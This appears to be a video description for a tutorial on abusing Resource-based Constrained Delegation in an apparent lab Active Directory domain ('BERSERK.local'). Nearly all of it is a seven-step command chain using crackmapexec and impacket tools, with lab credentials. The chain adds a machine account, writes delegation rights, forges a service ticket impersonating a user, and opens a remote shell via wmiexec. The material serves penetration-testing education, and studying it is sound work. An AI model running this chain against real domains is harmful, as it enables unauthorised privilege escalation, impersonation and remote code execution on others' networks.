Resource-based Constrained Delegation (RBCD)

Опубликовано: 06 Январь 2024
на канале: Thatquietkid
1,461
39

Commands used:
1) crackmapexec ldap 10.0.2.16 -u rbcd -p 'd3l3g@tion!!' -M maq
2) impacket-addcomputer -computer-name 'Test$' -computer-pass 'Test@123!!' -dc-ip 10.0.2.16 'BERSERK.local'/'rbcd':'d3l3g@tion!!'
3) impacket-rbcd -delegate-from 'Test$' -delegate-to 'Win10$' -dc-ip 10.0.2.16 -action 'write' 'BERSERK.local'/'rbcd':'d3l3g@tion!!'
4) impacket-getST -spn 'cifs/Win10.BERSERK.local' -impersonate 'Guts' -dc-ip 10.0.2.16 'BERSERK.local'/'Test$':'Test@123!!'
5)export KRB5CCNAME=Guts.ccache
6) crackmapexec smb 10.0.2.28 --use-kcache
7) impacket-wmiexec -hashes '' BERSERK.local/[email protected]

Feel free to ask any doubts in the comment section.